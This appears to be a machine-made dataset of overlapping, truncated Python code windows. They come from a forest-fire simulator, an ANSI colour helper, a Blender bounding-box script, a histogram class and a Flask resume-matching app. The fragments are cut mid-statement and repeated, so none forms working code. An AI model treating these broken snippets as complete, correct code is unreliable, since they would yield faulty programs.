">= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)], self.beta[(r, c)], position=np.array([r, c]), numeric_id=r*self.dims[1]+c) self.urban.append((r,",
"= 0 self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng) self.end = False self.early_end",
"extinguish this time step self.group[f].next(self.group, control[f], self.random_state) if self.group[f].is_burnt(self.group[f].next_state): if isinstance(self.group[f], Tree): self.stats_trees[1]",
"c = r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0]",
"self.dims = (dimension, dimension) if isinstance(dimension, int) else dimension if tree_model == 'exponential':",
"beta is None else beta self.rng = rng self.random_state = np.random.RandomState(self.rng) self.urban =",
"for p in self.initial_fire: self.group[p].set_on_fire() if isinstance(self.group[p], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] +=",
"their neighbors that are healthy, and sample # to determine if the healthy",
"1 self.stats_trees[1] += 1 elif isinstance(self.group[(r, c)], SimpleUrban): self.stats_urban[0] -= 1 self.stats_urban[1] +=",
"edge of the lattice if c >= self.dims[1]-self.urban_width: self.group[(r, c)] = SimpleUrban(self.alpha[(r, c)],",
"if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue self.early_end = False # calculate",
"self.stats_trees[2] += 1 elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1 #",
"self.stats_urban[0] -= 1 self.stats_urban[3] += 1 do_not_check.append(u) # fire spreading check: # iterate",
"c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1 self.stats_trees[1] += 1 elif isinstance(self.group[(r,",
"elements that caught on fire self.fires.extend(add) for a in add: if isinstance(self.group[a], Tree):",
"to initial condition self.iter = 0 self.fires = [] self._start_fire() self.random_state = np.random.RandomState(self.rng)",
"for a lattice-based forest with urban elements. Based on the LatticeForest simulator. \"\"\"",
"collection to map (row, col) to control for each Element, which is a",
"fire checked = [] # calculate next state for urban elements not on",
"control=None): \"\"\" Update the simulator one time step. :param control: collection to map",
"<gh_stars>1-10 from collections import defaultdict import itertools import numpy as np from simulators.fires.ForestElements",
"in range(self.dims[1])] for r in range(self.dims[0])]) def update(self, control=None): \"\"\" Update the simulator",
"None else alpha self.beta = defaultdict(lambda: np.exp(-1/10)) if beta is None else beta",
"update(self, control=None): \"\"\" Update the simulator one time step. :param control: collection to",
"+= 1 return # start a 4x4 square of fires at center #",
"np.floor((self.dims[0]-1)/2).astype(np.uint8) c_center = np.floor((self.dims[1]-1)/2).astype(np.uint8) delta_r = [0] if self.dims[0]<4 else [k for k",
"fire, in case they are removed from the lattice do_not_check = [] for",
"that the fire cannot spread further this step, # which occurs when no",
"r_center+dr, c_center+dc self.fires.append((r, c)) self.group[(r, c)].set_on_fire() if isinstance(self.group[(r, c)], Tree): self.stats_trees[0] -= 1",
"not in checked and self.group[fn].is_healthy(self.group[fn].state): if isinstance(self.group[fn], SimpleUrban) and fn in do_not_check: continue",
"alpha=None, beta=None, tree_model='exponential'): # LatticeForest.__init__(self, dimension, rng=rng, initial_fire=initial_fire, # alpha=alpha, beta=beta, tree_model=tree_model) Simulator.__init__(self)",
"# reset to initial condition self.iter = 0 self.fires = [] self._start_fire() self.random_state",
"Trees and SimpleUrban elements self.group = dict() for r in range(self.dims[0]): for c",
"# to determine if the healthy element catches on fire for f in",
"elif isinstance(self.group[f], SimpleUrban): self.stats_urban[1] -= 1 self.stats_urban[2] += 1 # apply next state",
"if alpha is None else alpha elif tree_model == 'linear': self.alpha = defaultdict(lambda:",
"positions corresponding to elements caught on fire this time step add = []",
"fires at center # if forest size is too small, start a single"
] |
[] |
[
"'\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m',",
"'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED'",
"'\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m'",
"'\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m',",
"{ 'HEADER' : '\\033[95m', 'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m',",
"'\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle",
"'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle coloration",
": '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' :",
"'\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle coloration def colorize(string, color): return colors[color.upper()]",
"'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle coloration def colorize(string, color):",
": '\\033[95m', 'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' :",
"'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD'",
"'\\033[95m', 'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m',",
"colors = { 'HEADER' : '\\033[95m', 'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW'",
"'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC'",
": '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' } #",
"'HEADER' : '\\033[95m', 'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL'",
": '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' :",
"'\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle coloration def colorize(string,",
": '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' :",
": '\\033[41;37m' } # Handle coloration def colorize(string, color): return colors[color.upper()] + string",
"'BGRED' : '\\033[41;37m' } # Handle coloration def colorize(string, color): return colors[color.upper()] +",
": '\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle coloration def colorize(string, color): return",
": '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' } # Handle coloration def",
": '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' :",
"'\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m',",
"'\\033[41;37m' } # Handle coloration def colorize(string, color): return colors[color.upper()] + string +",
"'YELLOW' : '\\033[0;33m', 'FAIL' : '\\033[31m', 'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE'",
"} # Handle coloration def colorize(string, color): return colors[color.upper()] + string + colors['ENDC']",
"= { 'HEADER' : '\\033[95m', 'OKBLUE' : '\\033[94m', 'OKGREEN' : '\\033[0;32m', 'YELLOW' :",
"'ENDC' : '\\033[0m', 'BOLD' : '\\033[1m', 'UNDERLINE' : '\\033[4m', 'BGRED' : '\\033[41;37m' }"
] |
[
"active object, so we can keep track of it in a variable: bound_box",
"now the active object, so we can keep track of it in a",
"the active object, so we can keep track of it in a variable:",
"keep track of it in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE'",
"<gh_stars>0 \"\"\"Get the location, rotation(radian) and dimension of selected object bounding box. References",
"for obj in selected: #ensure origin is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY',",
"obj in selected: #ensure origin is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS')",
"#our new cube is now the active object, so we can keep track",
"of it in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms",
"#ensure origin is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube",
"- https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects for obj in selected: #ensure",
"in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions =",
"box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our",
"cube is now the active object, so we can keep track of it",
"we can keep track of it in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type",
"bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects for obj",
"= 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location bound_box.rotation_euler = obj.rotation_euler",
"object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects for",
"in selected: #ensure origin is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create",
"for the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is now the active object,",
"variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location",
"References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects for obj in selected:",
"bpy selected = bpy.context.selected_objects for obj in selected: #ensure origin is centered on",
"bpy.ops.mesh.primitive_cube_add() #our new cube is now the active object, so we can keep",
"location, rotation(radian) and dimension of selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\"",
"is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the",
"box bpy.ops.mesh.primitive_cube_add() #our new cube is now the active object, so we can",
"selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects",
"#copy transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location bound_box.rotation_euler = obj.rotation_euler print(obj.dimensions) print(obj.location)",
"bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the bounding box bpy.ops.mesh.primitive_cube_add()",
"'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location bound_box.rotation_euler = obj.rotation_euler print(obj.dimensions)",
"the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is now the active object, so",
"of selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected =",
"bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube",
"origin is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for",
"= bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location",
"new cube is now the active object, so we can keep track of",
"object, so we can keep track of it in a variable: bound_box =",
"center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our new",
"bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location =",
"the location, rotation(radian) and dimension of selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects",
"dimension of selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected",
"rotation(radian) and dimension of selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import",
"import bpy selected = bpy.context.selected_objects for obj in selected: #ensure origin is centered",
"and dimension of selected object bounding box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy",
"box. References - https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects for obj in",
"#create a cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is now",
"a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions",
"\"\"\"Get the location, rotation(radian) and dimension of selected object bounding box. References -",
"center='BOUNDS') #create a cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is",
"a cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is now the",
"bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location bound_box.rotation_euler =",
"bpy.context.selected_objects for obj in selected: #ensure origin is centered on bounding box center",
"track of it in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy",
"so we can keep track of it in a variable: bound_box = bpy.context.active_object",
"\"\"\" import bpy selected = bpy.context.selected_objects for obj in selected: #ensure origin is",
"cube for the bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is now the active",
"it in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions",
"is now the active object, so we can keep track of it in",
"https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects \"\"\" import bpy selected = bpy.context.selected_objects for obj in selected: #ensure origin",
"selected = bpy.context.selected_objects for obj in selected: #ensure origin is centered on bounding",
"selected: #ensure origin is centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a",
"= bpy.context.selected_objects for obj in selected: #ensure origin is centered on bounding box",
"centered on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the bounding",
"bounding box bpy.ops.mesh.primitive_cube_add() #our new cube is now the active object, so we",
"can keep track of it in a variable: bound_box = bpy.context.active_object bpy.context.active_object.display_type =",
"transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location bound_box.rotation_euler = obj.rotation_euler print(obj.dimensions) print(obj.location) print(obj.rotation_euler)",
"bpy.context.active_object bpy.context.active_object.display_type = 'WIRE' #copy transforms bound_box.dimensions = obj.dimensions bound_box.location = obj.location bound_box.rotation_euler",
"on bounding box center bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS') #create a cube for the bounding box"
] |
[
"author = 'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns = ['_build', 'Thumbs.db',",
"= '1' extensions = [\"sphinxrego.ext\"] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] html_theme = 'alabaster'",
"example' copyright = '2021, sphinx-rego' author = 'sphinx-rego' release = '1' extensions =",
"project = 'sphinx-rego example' copyright = '2021, sphinx-rego' author = 'sphinx-rego' release =",
"= '2021, sphinx-rego' author = 'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns",
"'sphinx-rego example' copyright = '2021, sphinx-rego' author = 'sphinx-rego' release = '1' extensions",
"sphinx-rego' author = 'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns = ['_build',",
"copyright = '2021, sphinx-rego' author = 'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"]",
"= 'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']",
"'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] html_theme",
"= 'sphinx-rego example' copyright = '2021, sphinx-rego' author = 'sphinx-rego' release = '1'",
"release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] html_theme =",
"'2021, sphinx-rego' author = 'sphinx-rego' release = '1' extensions = [\"sphinxrego.ext\"] exclude_patterns ="
] |
[
"^ # | +-+ # | +-+ | +-+ # | | |",
"as # ^ # | +-+ # | +-+ | +-+ # |",
"| +-+ # | | | +-+ | # | +-+ | |",
"int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array) def print(self): for i",
"to plot an histogram as # ^ # | +-+ # | +-+",
"+-+ # | +-+ | +-+ # | | | +-+ | #",
"+-+ | +-+ # | | | +-+ | # | +-+ |",
"= int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array) def print(self): for",
"| | | | | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram:",
"# This create an array to plot an histogram as # ^ #",
"| | | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def __init__(self,",
"def add_value(self, v): if v > self.min and v < self.max: bin_idx =",
"= float(vmax-vmin)/float(nbins) def add_value(self, v): if v > self.min and v < self.max:",
"= [0] * nbins self.min = vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins)",
"| # | +-+ | | | +-+ # | | | |",
"# | | | | | | | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm",
"| +-+ # | +-+ | +-+ # | | | +-+ |",
"# | +-+ # | +-+ | +-+ # | | | +-+",
"| | | | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def",
"Vmax class histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self,",
"# | +-+ | +-+ # | | | +-+ | # |",
"| +-+ | # | +-+ | | | +-+ # | |",
"| +-+ | | | +-+ # | | | | | |",
"| +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def __init__(self, vmin, vmax,",
"def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax, nbins):",
"vmin, vmax, nbins): self.array = [0] * nbins self.min = vmin self.max =",
"+-+ | | | +-+ # | | | | | | |",
"% self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array) def print(self): for i in",
"> self.min and v < self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] +=",
"if v > self.min and v < self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step))",
"This create an array to plot an histogram as # ^ # |",
"* nbins self.min = vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self,",
"= vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if v",
"nbins): self.array = [0] * nbins self.min = vmin self.max = vmax self.step",
"vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if v > self.min and v",
"__init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax, nbins): self.array",
"< self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array)",
"float(vmax-vmin)/float(nbins) def add_value(self, v): if v > self.min and v < self.max: bin_idx",
"vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if v >",
"init_values(self, vmin, vmax, nbins): self.array = [0] * nbins self.min = vmin self.max",
"self.array = [0] * nbins self.min = vmin self.max = vmax self.step =",
"| | | | | | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class",
"vmax, nbins) def init_values(self, vmin, vmax, nbins): self.array = [0] * nbins self.min",
"nbins) def init_values(self, vmin, vmax, nbins): self.array = [0] * nbins self.min =",
"v > self.min and v < self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx]",
"and v < self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def",
"| +-+ | +-+ # | | | +-+ | # | +-+",
"# Vm Vmax class histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins)",
"Vm Vmax class histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def",
"self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if v > self.min and v <",
"+-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def __init__(self, vmin, vmax, nbins):",
"v < self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self):",
"| | | | | | | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax",
"+-+ | # | +-+ | | | +-+ # | | |",
"| +-+ # | | | | | | | +-+ # +---+-+-+-+-+-+-+-+------->",
"| | +-+ # | | | | | | | +-+ #",
"| | | +-+ # | | | | | | | +-+",
"| | | +-+ | # | +-+ | | | +-+ #",
"| | +-+ | # | +-+ | | | +-+ # |",
"vmax, nbins): self.array = [0] * nbins self.min = vmin self.max = vmax",
"+---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax,",
"create an array to plot an histogram as # ^ # | +-+",
"# ^ # | +-+ # | +-+ | +-+ # | |",
"bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array) def print(self):",
"nbins self.min = vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v):",
"| | +-+ # +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def __init__(self, vmin,",
"vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax, nbins): self.array = [0]",
"nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax, nbins): self.array = [0] *",
"+= 1 def print_array(self): print(self.array) def print(self): for i in range(len(self.array)): print(i*self.step+0.5*self.step+self.min, self.array[i])",
"# +---+-+-+-+-+-+-+-+-------> # Vm Vmax class histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin,",
"# | +-+ | | | +-+ # | | | | |",
"self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax, nbins): self.array = [0] * nbins",
"vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax, nbins): self.array =",
"self.array[bin_idx] += 1 def print_array(self): print(self.array) def print(self): for i in range(len(self.array)): print(i*self.step+0.5*self.step+self.min,",
"self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array) def print(self): for i in range(len(self.array)):",
"+-+ # | | | | | | | +-+ # +---+-+-+-+-+-+-+-+-------> #",
"class histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin,",
"+-+ # | | | +-+ | # | +-+ | | |",
"# | | | +-+ | # | +-+ | | | +-+",
"add_value(self, v): if v > self.min and v < self.max: bin_idx = int(((v-self.min)-(v-self.min)",
"self.min and v < self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1",
"array to plot an histogram as # ^ # | +-+ # |",
"= vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if v > self.min and",
"[0] * nbins self.min = vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins) def",
"def init_values(self, vmin, vmax, nbins): self.array = [0] * nbins self.min = vmin",
"an histogram as # ^ # | +-+ # | +-+ | +-+",
"self.min = vmin self.max = vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if",
"self.max = vmax self.step = float(vmax-vmin)/float(nbins) def add_value(self, v): if v > self.min",
"histogram as # ^ # | +-+ # | +-+ | +-+ #",
"plot an histogram as # ^ # | +-+ # | +-+ |",
"v): if v > self.min and v < self.max: bin_idx = int(((v-self.min)-(v-self.min) %",
"histogram: def __init__(self, vmin, vmax, nbins): self.init_values(vmin, vmax, nbins) def init_values(self, vmin, vmax,",
"self.max: bin_idx = int(((v-self.min)-(v-self.min) % self.step)/(self.step)) self.array[bin_idx] += 1 def print_array(self): print(self.array) def",
"an array to plot an histogram as # ^ # | +-+ #"
] |
[
"= os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr =",
"HTMLConverter, TextConverter from pdfminer.layout import LAParams import io app = Flask(__name__) # app.secret_key",
"df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads',",
"os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key'] # Heroku #from",
"documents = [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense()",
"PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return text def",
"#heroku = Heroku(app) # ======== Routing =========================================================== # # -------- Login ------------------------------------------------------------- #",
"file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads',",
"PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from",
"tkinter import Tk from tkinter.filedialog import askopenfilename import numpy as np import pandas",
"item01 = ','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list) documents = [item01, item02]",
"from werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge from",
"import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk from tkinter.filedialog import",
"import forms # from scripts import helpers from flask import Flask, redirect, url_for,",
"request.method == 'GET': # f = request.files['file'] basepath = os.path.dirname(__file__) # file_path =",
"'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer =",
"4) * 100 return \"Your resume matched \" + str( answer) + \"",
"= ','.join(item02_list) documents = [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix",
"redirect, url_for, render_template, request, session import json import sys import os # import",
"# # -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login(): # creating",
"= PDFResourceManager() retstr = io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams)",
"os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager()",
"sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk from tkinter.filedialog import askopenfilename import numpy",
"= retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return text def getFile(): Tk().withdraw() filename",
"import helpers from flask import Flask, redirect, url_for, render_template, request, session import json",
"creating a pdf file object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf')",
"'publishable_key': os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku import",
"sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath,",
"render_template('home.html', user=\"manoj\") # return text def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return",
"flask import Flask, redirect, url_for, render_template, request, session import json import sys import",
"os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku",
"import Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import",
"= answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) * 100 return \"Your resume matched",
"TextConverter from pdfminer.layout import LAParams import io app = Flask(__name__) # app.secret_key =",
"item02_list = seg_list02 item02 = ','.join(item02_list) documents = [item01, item02] count_vectorizer = CountVectorizer()",
"import LAParams import io app = Flask(__name__) # app.secret_key = os.urandom(12) # Generic",
"getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in'] =",
"= os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv')",
"pd from werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge",
"= request.files['file'] basepath = os.path.dirname(__file__) # file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename))",
"object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page contained in the document.",
"from tkinter.filedialog import askopenfilename import numpy as np import pandas as pd import",
"session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method ==",
"= seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list) documents =",
